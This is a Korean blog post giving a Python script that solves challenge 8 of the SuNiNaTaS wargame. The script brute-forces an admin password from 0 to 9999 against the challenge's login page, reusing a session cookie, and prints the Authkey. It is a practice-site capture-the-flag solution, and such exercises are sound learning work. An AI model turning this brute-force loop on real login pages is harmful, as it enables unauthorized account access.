Python

BruteForce 테스트 파이썬코드

로픽 2018. 10. 7. 22:49
300x250

BruteForce 테스트 파이썬코드


* 써니나타스 8번 문제를 풀기 위한 소스코드입니다.

* BruteForce를 통해서 패스워드를 알아내는데 힌트로 주어진 범위가 0~9999까지라서 일일히 대입이 불가능합니다.

* 아래 코드는 IMPEL님 블로그에 나와있는 소스 코드입니다.

* 해당 코드를 수행하면 Authkey 획득 가능합니다.

import requests

URL="http://suninatas.com/Part_one/web08/web08.asp"

cookie={
"ASPSESSIONIDACADBQDS":"IDMBDAJANHEMONKHMEEPAHDF"
}
session1 = requests.Session()

for i in range(10000):
data1 = {
"id":"admin",
"pw":i
}

req = session1.post(URL, cookies=cookie, data=data1)
if(req.text.find("Password Incorrect!") == -1):
index = req.text.find("Authkey")
print("\n\n")
print(req.text[index:index+30])
print("\n\n")
input("Press Any KEY to exit......")
exit(0)
else:
print("Wrong Num: " + str(i))


** requests 모듈의 경우 pip를 통해서 설치를 해주셔야 합니다.


** 위 코드에서 cookie 값은 크롬 확장프로그램 EditThisCookie 로 확인 가능합니다.

반응형

'Python' 카테고리의 다른 글

Python 메일 발송(첨부파일 포함)  (0) 2019.05.21
파이썬) print함수, input 함수  (0) 2018.12.10
Python) 파이썬 상속  (0) 2018.10.19
파이썬 구구단 출력하기  (0) 2016.08.08
Python - 파이썬(python) 설치  (0) 2016.07.16